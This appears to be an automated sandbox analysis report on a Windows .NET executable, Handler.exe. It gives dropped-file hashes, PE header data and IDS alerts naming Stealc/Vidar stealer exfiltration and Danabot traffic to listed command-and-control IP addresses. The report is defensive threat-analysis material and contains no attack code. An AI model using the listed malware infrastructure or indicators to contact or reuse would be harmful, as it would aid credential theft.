Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 15 18:16:16 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.983417138386149
Encrypted:	false
SSDEEP:	48:8ddvjTTjsfHcidAKZdA19ehwiZUklqehey+3:8bjbty
MD5:	3E6874E395F200642ABF13E6B4EAA427
SHA1:	BFBCD823A037DC02C0AF797BA7C3B5DB9855676C
SHA-256:	856BF95BDE72103450828CD3E5D61852EE4B4D7C17E6294EAEA9B518F1387540
SHA-512:	0CF6237CA0D207C783A7BCBB67A417936FC84022FCB45DEE7EECA0F731F4BBE2B8DD2E8F2776DA8408E4278C896F9D71398FC36F2AB0E94997FE17A59C817A03
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....A%.g..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I/Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V/Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V/Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V/Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V/Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 15 18:16:15 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9989497654895496
Encrypted:	false
SSDEEP:	48:89cdvjTTjsfHcidAKZdA1weh/iZUkAQkqehdy+2:8ajp9Q0y
MD5:	E6E4B20E5D1B32A81249D0E551728BD1
SHA1:	61823B1B2581F4D9C32A62236B553F9839512383
SHA-256:	14D1929251EEAEFF1C4BCC749F2C9AF6A6CBDF3C0D9366461CE84436088FD27E
SHA-512:	BDC1210D1774F8244E7D84BEE0D3AF973ACD7831472A052B3C4E09042BA9B6F99DC4CA0D2D16AE8A4BDC47DDED91080481C73B99834B4676EB8815824AE7B61B
Malicious:	false
Preview:	L..................F.@.. ...$+.,.... ...g..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I/Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V/Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V/Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V/Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V/Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.010689418085821
Encrypted:	false
SSDEEP:	48:8xEdvjTTjsHcidAKZdA14tseh7sFiZUkmgqeh7s7y+BX:8x8jZnRy
MD5:	220D2BD7D6CB2CF906A8525B89AA52AC
SHA1:	3EA96AC5CBF52D8EBFD6B722DB8967D1C427A353
SHA-256:	D930624FB3E45222560B5EF712168E3337B0DC12BBBFB55DFBFDD3324E830A9B
SHA-512:	71E6FF852349D77F7C628B939E1DE2AC5AA0D456289800FDE73AC7F0F86E0C220069D6578A50092CFD0E347D0215577D54B6B7F855E3AAF725818E108A0AD496
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I/Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V/Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V/Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V/Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 15 18:16:15 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9993959857271864
Encrypted:	false
SSDEEP:	48:86dvjTTjsfHcidAKZdA1vehDiZUkwqehZy+R:8ajqjy
MD5:	65EF1A4B17A03DA8FFF43F6BAC0E8F4A
SHA1:	5BC14A8F5EC13767BC93232064A6797288742E77
SHA-256:	9F80B639644ACE1721EDF5846F3ACA0668B0637AC61921EA39772153A30C6D79
SHA-512:	AAFD613523164CCBBEA59C06A04AE301219F109BAE3871E7F1BB4679E5CB5CAFF4E46C7F97961E02210D64E45A99275C998B4D145B6C1581754A1065CE321075
Malicious:	false
Preview:	L..................F.@.. ...$+.,........g..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I/Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V/Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V/Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V/Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V/Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 15 18:16:16 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9884459309138145
Encrypted:	false
SSDEEP:	48:8DldvjTTjsfHcidAKZdA1hehBiZUk1W1qeh/y+C:8DjjK9fy
MD5:	795C7D8B970B05E4682AA96D1786245A
SHA1:	DFF13BC436F6B7E5B08AB20F5CEC98A08878EB82
SHA-256:	95673C9DFE971161660C5872E2A34BB071E0F6AAFD8D2FFDBE503E366B91716E
SHA-512:	29BF5B865D45F4F6FE837B7470674AE6CF1E7CFDF96E59E282F57ACEADC6003EB51227965DFB16CBB74384F743111B4521A93D82EB084DEAA3171501BCEFC6F7
Malicious:	false
Preview:	L..................F.@.. ...$+.,........g..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I/Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V/Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V/Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V/Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V/Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 15 18:16:15 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9983262056517463
Encrypted:	false
SSDEEP:	48:8SdvjTTjsfHcidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbRy+yT+:8yjUT/TbxWOvTbRy7T
MD5:	3318CD71D823BE65A49947054C19114F
SHA1:	9888753A4E1B3F25C0577A1DF026DA367BCB08DA
SHA-256:	1D7684F132B04DC9D5ED81158BD02A94B115F7D3E33C86706C2DA1E4C40BC0E0
SHA-512:	B215F404ED5A539C7EB8B9505B2E0CF541FB54F275B3DCC213579944878A33886AA4404367075776844303AD81B8325AD0F9AB9F37A9E07B2B0E6C3CC29B9BF0
Malicious:	false
Preview:	L..................F.@.. ...$+.,....'l..g..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I/Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V/Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V/Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V/Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V/Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421700579651565
Encrypted:	false
SSDEEP:	6144:jSvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNR0uhiTw:uvloTMW+EZMM6DFyr03w
MD5:	FF2A2FDC9FFF470EA69AA8E5E91DE23E
SHA1:	F6DE04326B7F4302D546E08AA9616124C7E136C1
SHA-256:	B90129456BB07216A5B9AEFC25A889D1045CE15887C303D61891E125943850B2
SHA-512:	6B432BC313B05E4739F402109D3A904F8256D376FD9FAF51A7DB3AE3A2616663B73FEFBCCB196BB08503D311A98E3903ADB0E72B0ABE6AA53CB24C0FD1D8B5CC
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...g..............................................................................................................................................................................................................................................................................................................................................._..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.893536241529202
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Handler.exe
File size:	430'592 bytes
MD5:	5fd322ce6e87bae023155e3d548d7280
SHA1:	1e193832da505b7416f01a108e134d4cfb56f6e5
SHA256:	1d16053d1910ba274b25d60a462fd4e7b75ae1454315dbfcf013b872f02dcdf3
SHA512:	cb7c276bc17651d202b0f7cb8234100ccd74b3e338f63bc0a563460a9c50ef24adefc59b7e9fc2cc892610ddeef3f1d11bc7bce44a2cc61c81e80e3e041ac64d
SSDEEP:	12288:5JN9RjfHB8d4QPBtw2Q+Ai0g2iWYD8F10DEqQjFQlYtEg:5JNfu/7Z10sf/PQxQlUL
TLSH:	F394120A26976736C47889BAD4F3C43C52BA97D31633E2133C1973A84E637D99A447CD
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...\|G................0.................. ... ....@.. ....................... ............`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x41039e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xC6FB477C [Tue Oct 15 09:16:44 2075 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x10350	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x12000	0x598	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x14000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x10309	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xe3a4	0xe400	a477556f10e0f94ff07851ab21409ae9	False	0.520764802631579	data	6.042242922628573	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x12000	0x598	0x600	123aca95e4555687b41c2cebfd368cb4	False	0.41015625	data	4.0349728002939855	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x14000	0xc	0x200	8afa85677c54490f83975db63dd0f5e1	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.idata	0x16000	0x5a200	0x5a200	471645ffe4e357c0f47fb5657c5278bb	False	1.000327778259362	data	7.99944165588929	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x120a0	0x30c	data			0.41923076923076924
RT_MANIFEST	0x123ac	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-15T20:16:07.070284+0100	2859378	ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2	1	192.168.2.5	49707	116.203.164.230	443	TCP
2025-01-15T20:16:08.418065+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1	1	192.168.2.5	49712	116.203.164.230	443	TCP
2025-01-15T20:16:09.679913+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	116.203.164.230	443	192.168.2.5	49714	TCP
2025-01-15T20:16:11.027561+0100	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	116.203.164.230	443	192.168.2.5	49715	TCP
2025-01-15T20:16:54.138558+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	50137	162.0.209.157	443	TCP
2025-01-15T20:17:51.998608+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50233	194.32.76.77	443	TCP
2025-01-15T20:17:53.076910+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50234	45.76.251.57	443	TCP
2025-01-15T20:17:54.165241+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50235	194.32.76.77	443	TCP
2025-01-15T20:17:55.240103+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50236	45.76.251.57	443	TCP
2025-01-15T20:18:03.755453+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50241	194.32.76.77	443	TCP
2025-01-15T20:18:05.060557+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50242	45.76.251.57	443	TCP
2025-01-15T20:18:06.160435+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50243	194.32.76.77	443	TCP
2025-01-15T20:18:07.296624+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50244	45.76.251.57	443	TCP
2025-01-15T20:18:13.687116+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50249	194.32.76.77	443	TCP
2025-01-15T20:18:13.754168+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50250	45.76.251.57	443	TCP
2025-01-15T20:18:13.821719+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50251	194.32.76.77	443	TCP
2025-01-15T20:18:13.904282+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50252	45.76.251.57	443	TCP
2025-01-15T20:18:25.097470+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50257	194.32.76.77	443	TCP
2025-01-15T20:18:26.496340+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50258	45.76.251.57	443	TCP
2025-01-15T20:18:28.314948+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50259	194.32.76.77	443	TCP
2025-01-15T20:18:30.468381+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50260	45.76.251.57	443	TCP
2025-01-15T20:18:33.875993+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50269	194.32.76.77	443	TCP
2025-01-15T20:18:36.494176+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50270	45.76.251.57	443	TCP
2025-01-15T20:18:38.633084+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50271	194.32.76.77	443	TCP
2025-01-15T20:18:40.558233+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50272	45.76.251.57	443	TCP
2025-01-15T20:18:49.695123+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50277	194.32.76.77	443	TCP
2025-01-15T20:18:49.798134+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50278	45.76.251.57	443	TCP
2025-01-15T20:18:49.899707+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50279	194.32.76.77	443	TCP
2025-01-15T20:18:49.994486+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50280	45.76.251.57	443	TCP
2025-01-15T20:19:01.358154+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50285	194.32.76.77	443	TCP
2025-01-15T20:19:03.328542+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50286	45.76.251.57	443	TCP
2025-01-15T20:19:05.215618+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50287	194.32.76.77	443	TCP
2025-01-15T20:19:07.129454+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50288	45.76.251.57	443	TCP
2025-01-15T20:19:10.166155+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50293	194.32.76.77	443	TCP
2025-01-15T20:19:12.097474+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50294	45.76.251.57	443	TCP
2025-01-15T20:19:14.088789+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50295	194.32.76.77	443	TCP
2025-01-15T20:19:16.062978+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50296	45.76.251.57	443	TCP
2025-01-15T20:19:25.464129+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50301	194.32.76.77	443	TCP
2025-01-15T20:19:25.559118+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50302	45.76.251.57	443	TCP
2025-01-15T20:19:25.642253+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50303	194.32.76.77	443	TCP
2025-01-15T20:19:25.724881+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50304	45.76.251.57	443	TCP
2025-01-15T20:19:38.315364+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50314	194.32.76.77	443	TCP
2025-01-15T20:19:40.513593+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50315	45.76.251.57	443	TCP
2025-01-15T20:19:42.718601+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50316	194.32.76.77	443	TCP
